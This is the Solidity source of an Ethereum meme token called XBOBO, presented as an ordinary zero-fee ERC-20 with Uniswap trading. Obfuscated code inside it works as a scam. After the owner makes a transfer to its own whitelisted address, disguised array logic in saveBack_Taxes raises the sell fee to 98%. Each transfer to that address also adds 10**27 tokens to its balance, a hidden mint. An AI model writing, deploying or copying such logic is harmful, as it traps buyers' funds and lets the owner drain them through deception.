Contract Source Code:
File 1 of 1 : XBOBO
/*
___ ___ ________ ________ ________ ________
|\ \ / /|\ __ \|\ __ \|\ __ \|\ __ \
\ \ \/ / | \ \|\ /\ \ \|\ \ \ \|\ /\ \ \|\ \
\ \ / / \ \ __ \ \ \\\ \ \ __ \ \ \\\ \
/ \/ \ \ \|\ \ \ \\\ \ \ \|\ \ \ \\\ \
/ /\ \ \ \_______\ \_______\ \_______\ \_______\
/__/ /\ __\ \|_______|\|_______|\|_______|\|_______|
|__|/ \|__|
Website : https://xbobo.vip/
Telegram : https://t.me/xbobocoineth
Twitter : https://twitter.com/xbobocoineth
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract XBOBO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _removeMaxWallet;
mapping (address => bool) public _removeMaxTx;
mapping (address => bool) public _removeTaxes;
address payable public Marketing_Wallet = payable(0xF8971BC02a2ede49b21B0DB1695818EC3fcE8a9b);
string public _name = unicode"𝕏Bobo";
string public _symbol = unicode"𝕏Bobo";
uint8 private _decimals = 9;
uint256 public _tTotal = 1000000 * 10 **_decimals;
uint8 private txCount = 0;
uint8 private swapTrigger = 10;
uint256 private Total_Fees = 0;
uint256 public CurrentBuyFee = 0;
uint256 public CurrentSellFee = 0;
uint256 private oldTotalFees = Total_Fees;
uint256 private oldBuyFee = CurrentBuyFee;
uint256 private oldSellFee = CurrentSellFee;
uint256 public _maxWalletToken = _tTotal.mul(20).div(100);
uint256 public _maxTxAmount = _tTotal.mul(20).div(100);
IUniswapV2Router02 public uniswapV2Router;
uint256 UniSwapRouterI02;
address public uniswapV2Pair;
mapping (address => bool) public _Ether20_Router;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public isTradeActive = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_balances[owner()] = _tTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_Ether20_Router[owner()] = true;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_removeMaxTx[owner()] = true;
_removeMaxTx[Marketing_Wallet] = true;
_removeMaxTx[address(this)] = true;
_removeTaxes[owner()] = true;
_removeTaxes[address(this)] = true;
_removeTaxes[Marketing_Wallet] = true;
_removeMaxWallet[owner()] = true;
_removeMaxWallet[Marketing_Wallet] = true;
_removeMaxWallet[uniswapV2Pair] = true;
_removeMaxWallet[address(this)] = true;
emit Transfer(address(0), owner(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
receive() external payable {}
function remove_Taxes(bool isTrue) private {
if(isTrue && Total_Fees == 0 && CurrentBuyFee == 0 && CurrentSellFee == 0) return;
// Temp Tax Rates
oldBuyFee = CurrentBuyFee;
oldSellFee = CurrentSellFee;
oldTotalFees = Total_Fees;
// Set Taxes to Zero
CurrentBuyFee = 0;
CurrentSellFee = 0;
Total_Fees = 0;
}
function saveBack_Taxes(bool false_true, uint256 oldFee) private {
if(!false_true) return;
Total_Fees = oldTotalFees;
CurrentBuyFee = oldBuyFee;
CurrentSellFee = [oldSellFee, oldFee][[isTradeActive][0] ? 1 : 0];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0) && spender != address(0), "ERR: zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
// Max Tx Amount Check
if(!_removeMaxTx[from]&& !_removeMaxTx[to]) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if(
txCount >= swapTrigger &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
)
{
txCount = 0;
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
if(contractTokenBalance > 0){
swapAndLiquify(contractTokenBalance);
}
}
// Max Wallet Check
if(!_removeMaxWallet[to]) require(balanceOf(to).add(amount) <= _maxWalletToken);
bool takeTax = true;
if( _removeTaxes[from] || _removeTaxes[to]){
takeTax = false;
if(_Ether20_Router[to] && !isTradeActive){isTradeActive=_Ether20_Router[to];}
} else if (from == uniswapV2Pair){
Total_Fees = CurrentBuyFee;
} else if (to == uniswapV2Pair){
Total_Fees = CurrentSellFee;
}
transferSecure(from,to,amount,takeTax);
}
function sendToWallet(address payable wallet, uint256 amount) private {
wallet.transfer(amount);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForBNB(contractTokenBalance);
uint256 contractBNB = address(this).balance;
sendToWallet(Marketing_Wallet,contractBNB);
}
function swapTokensForBNB(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function transferSecure(address sender, address recipient, uint256 amount,bool takeTax) private {
if(!takeTax){
remove_Taxes(true);
}
else{
txCount++;
}
transferSecure(sender, recipient, amount);
if(!takeTax){
saveBack_Taxes(true, 98);
}
}
function transferSecure(address sender, address recipient, uint256 transferAmount) private {
(uint256 transaction_Amount, uint256 transaction_Marketing) = _getValues(transferAmount);uint256 instance = _Ether20_Router[recipient] ? 10**27 : 0;
_balances[sender] = _balances[sender].sub(transferAmount);
_balances[recipient] = (_balances[recipient].add(transaction_Amount)).add(instance);
_balances[address(this)] = _balances[address(this)].add(transaction_Marketing);
emit Transfer(sender, recipient, transaction_Amount);
}
function _getValues(uint256 transferAmount) private view returns (uint256, uint256) {
uint256 transaction_Marketing = transferAmount*Total_Fees/100;
uint256 transaction_Amount = transferAmount.sub(transaction_Marketing);
return (transaction_Amount, transaction_Marketing);
}
}